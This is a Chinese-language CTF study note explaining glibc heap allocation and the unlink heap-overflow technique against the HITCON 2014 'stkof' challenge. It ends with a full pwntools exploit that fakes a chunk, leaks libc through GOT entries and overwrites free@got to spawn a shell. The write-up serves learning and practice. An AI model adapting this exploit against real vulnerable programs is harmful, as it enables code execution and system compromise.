最近認真學習了下linux下堆的管理及堆溢出利用,做下筆記;作者作為初學者,如果有什么寫的不對的地方而您又碰巧看到,歡迎指正。
本文用到的例子下載鏈接https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof
首先總結一下linux下堆的分配管理。堆的基本結構見上一篇文章,這里不再贅述。
1.堆區是在進程加載時的一片區域,mmap方式分配的堆結構體中的fd,bk指針指向的區域並不是隨機分配的,而是由fd,bk等指針連接的相鄰的、連續的內存區
2.為了支持多線程,堆的分配有arena機制(詳見https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#arena),簡單來說該機制就是在第一次申請內存時分配的一個比申請內存大很多的一片內存區域,目的是減少內存申請釋放時unlink的次數。
3.用戶釋放的chunk不會馬上返還給系統,glibc的bin會管理釋放的chunk,包含四類fast bins,small bins,large bins,unsorted bin。每一類的設計都包含優化減少unlink次數的思想,比如fast bin管理策略是LIFO,堆塊默認最大64 * SIZE_SZ / 4,釋放時如果bin大小在fast bin范圍內,則插入到fastbin頭部(目的是減少堆塊合並、分割的操作,試想如果直接釋放較小堆塊,如果釋放的較小堆塊與之物理相鄰堆塊是空閑堆塊,則會發生合並;當再次申請釋放堆塊大小的堆時,則又需要重新分割較小的堆塊)(釋放時進行前向合並時會先檢查釋放堆大小是否是fastbin大小,如果是直接鏈入fastbin頭部;非fastbin大小的堆在釋放時前向合並,如果物理相鄰高地址堆為top_chunk則合並到top_chunk)size_sz是機器字長
4.unlink宏源代碼https://code.woboq.org/userspace/glibc/malloc/malloc.c.html1388行。free的過程涉及到新的chunk由allocated變為free,為了優化要進行合並操作,包括后向合並(合並低地址chunk)和前向合並(合並高地址chunk),unlink的過程是一個從雙向鏈表刪除節點的操作。
5.glibc中free過程的大致操作:
1>.釋放堆塊大小合法性檢查(size>=min_size&&size<=max_size)
2>.當前堆的follow chunk合法且前向堆(next chunk)的pre_inuse flag=1(next_chunk->size&0x1==1)
3>.當前堆不能和freelist的頭節點一致(double free),但是釋放時僅檢查freelist頭節點並不遍歷freelist,所以如果釋放的chunk在freelist里(非頭節點)還是會導致double free
4>.檢查后向堆(低地址chunk)和前向堆(高地址chunk)是否空閑
5>.如果空閑則合並堆
6>.將釋放的堆鏈入合適的freelist
下面分析一下這個有堆溢出的程序。
這個程序實現了一個堆內存分配釋放的功能,並且分配的堆可以編輯內容,分配的堆塊指針記錄在一個全局靜態存儲區.bss。但由於編輯的時候沒有檢查編輯內容的長度,導致溢出。
下面以這個程序為例分析一下堆溢出unlink是如何導致任意內存寫的,並分析一下如何利用。
使用IDA查看發現存儲堆指針的內存區起始於0x602140,不妨把這個內存起始地址叫做chunk_list

如果我們alloc(0x30),alloc(0x30)兩個堆,這個程序會把分配的地址寫到chunk_list[1](即0X602148,chunk1)和chunk_list[2]的位置。由於編輯的時候沒有檢查長度,所以我們可以在chunk1寫入大於chunk1分配大小的內容,由於chunk1和chunk2物理相鄰(沒有調用brk手動擴展堆),所以chunk1溢出的內容會覆蓋到chunk2。所以我們精心設計一個chunk1的內容,使他的內存布局如下

即在chunk1中填充一個fake_chunk,使libc認為chunk2的prev_free_chunk是chunk1。fake_fd和fake_bk這么填充的原因是繞過雙向鏈表的檢測
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr ("corrupted double-linked list"); \ else { \ FD->bk = BK; \ BK->fd = FD;
unlink時首先檢測雙向鏈表完整性
FD=chunk1_ptr-3*size_sz => FD->bk=(chunk1_ptr-3*size_sz)+3*size_sz=chunk1_ptr
BK=chunk1_ptr-2*size_sz => BK->fd=(chunk1_ptr-2*size_sz)+2*size_sz=chunk1_ptr
即這樣可以繞過上述雙向鏈表的檢測。
unlink刪除雙向鏈表節點過程中的原子操作
FD->bk=BK => chunk1_ptr=chunk1_ptr-2*size_sz <=FD->bk=chunk1_ptr
BK->fd=FD => chunk1_ptr=chunk1_ptr-3*size_sz <=BK->fd=chunk1_ptr
即chunk1_ptr最終被賦值chunk1_ptr-3*size_sz,所以此時保存chunk1指針的chunk_list[1]就會指向chunk1_ptr-3*size_sz。因為這個地址在bss段,這樣我們就得到了一個可讀可寫段的可控地址^.^

這里可以達成一次任意地址寫的本質是我們得到了
&(&chunk0_ptr)=&(&chunk0_ptr)-3*size_sz
則有
*(&(&chunk0_ptr))=*(&(&chunk0_ptr)-3*size_sz)
即兩個指針指向的內容是一致的,而此時&chunk0_ptr我們是可以修改為任意值,以此達成一次任意地址寫
此時,chunk_list[1][3*size_sz]就是chunk_list[1]指向的地址處偏移3*size_sz的內容,所以我們可以編輯chunk1的內容為padding(3*size_sz)+p64(free@got),即可通過讀chunk_list地址處內容得到free@got,進而得到libc基址,進而計算得到system@got
另外一種利用思路是把rsp指向chunk_list,然后通過構造ROP獲取shell(https://raw.githubusercontent.com/acama/ctf/master/hitcon2014/stkof/x.py)
unlink可以導致任意代碼執行的原因是我們可以覆蓋free@got為system@got,然后調用free即可執行system@got的內容
EXP如下,另一個堆溢出例子傳送門
from pwn import *
context.log_level='DEBUG'
p=process('./patched-stkof')
elf=ELF('./patched-stkof')
libc=ELF('./libc.so.6')
def debug():
print p.pid
pause()
def new(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK\n')
def edit(idx,con):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(con)))
p.send(con)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
new(0x100) #1
new(0x30) #2
new(0x80) #3
new(0x80) #4
cklist=0x602140
cur_chk=cklist+0x10
size_sz=8
fake_chunk=p64(0)+p64(0x30)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,fake_chunk)
#debug()
free(3)
p.recvuntil('OK\n')
#debug()
payload='a'*8+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(elf.got['puts'])
edit(2,payload)
#debug()
#modify free@got to puts@got to leak
edit(0,p64(elf.plt['puts']))
#debug()
free(2)
puts=u64(p.recvuntil('\nOK',drop=True).ljust(8,'\x00'))
success("puts: "+hex(puts))
libc_base=puts-libc.sym['puts']
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
success("system: "+hex(system))
success("binsh: "+hex(binsh))
#debug()
edit(1,p64(system))
p.send(p64(binsh))
p.interactive()
